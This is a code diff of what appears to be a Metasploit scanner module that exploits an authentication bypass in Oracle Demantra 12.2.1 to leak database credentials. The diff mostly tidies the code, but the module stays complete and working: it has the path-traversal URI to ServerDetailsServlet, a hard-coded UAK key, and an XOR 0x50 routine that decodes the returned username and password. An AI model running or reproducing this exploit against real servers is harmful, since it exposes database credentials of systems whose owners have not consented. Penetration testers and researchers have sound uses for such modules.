@@ -15,8 +15,9 @@ def initialize(info = {})
15
15
super ( update_info ( info ,
16
16
'Name' => 'Oracle Demantra Database Credentials Leak' ,
17
17
'Description' => %q{
18
- This module exploits a database credentials leak found in Oracle Demantra 12.2.1 in combination with an authentication bypass.
19
- This way an unauthenticated user can retreive the database name, username and password on any vulnerable machine.
18
+ This module exploits a database credentials leak found in Oracle Demantra 12.2.1 in
19
+ combination with an authentication bypass. This way an unauthenticated user can retrieve
20
+ the database name, username and password on any vulnerable machine.
20
21
} ,
21
22
'References' =>
22
23
[
@@ -43,33 +44,35 @@ def initialize(info = {})
43
44
end
44
45
45
46
def run_host ( ip )
46
- authbypass = "/demantra/common/loginCheck.jsp/../../"
47
- staticUAK = "ServerDetailsServlet?UAK=406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1"
48
47
res = send_request_cgi ( {
49
48
'method' => 'GET' ,
50
- 'uri' => normalize_uri ( "#{ authbypass } " , "#{ staticUAK } " )
49
+ 'uri' => normalize_uri ( 'demantra' , 'common' , 'loginCheck.jsp' , '..' , '..' , 'ServerDetailsServlet' ) ,
50
+ 'vars_get' => {
51
+ 'UAK' => '406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1'
52
+ }
51
53
} )
52
54
53
-
54
55
if res . nil? or res . body . empty?
55
- fail_with ( "No content retrieved from: #{ ip } " )
56
+ vprint_error ( "#{ peer } - No content retrieved from" )
57
+ return
56
58
end
57
59
58
60
if res . code == 404
59
- print_error ( "#{ rhost } : #{ rport } - File not found" )
61
+ vprint_error ( "#{ peer } - File not found" )
60
62
return
61
63
end
62
64
63
65
if res . code == 200
64
- print_status ( "#{ ip } :#{ rport } returns: #{ res . code . to_s } " )
65
-
66
66
creds = ""
67
- print_status ( "String received: #{ res . body . to_s } " )
67
+
68
+ vprint_status ( "#{ peer } - String received: #{ res . body . to_s } " ) unless res . body . blank?
69
+
68
70
res . body . to_s . split ( "," ) . each do |c |
69
71
i = c . to_i ^ 0x50
70
72
creds += i . chr
71
73
end
72
- print_good ( "Credentials decoded: #{ creds } " )
74
+ print_good ( "#{ peer } - Credentials decoded: #{ creds } " ) unless creds . empty?
73
75
end
74
76
end
77
+
75
78
end
0 commit comments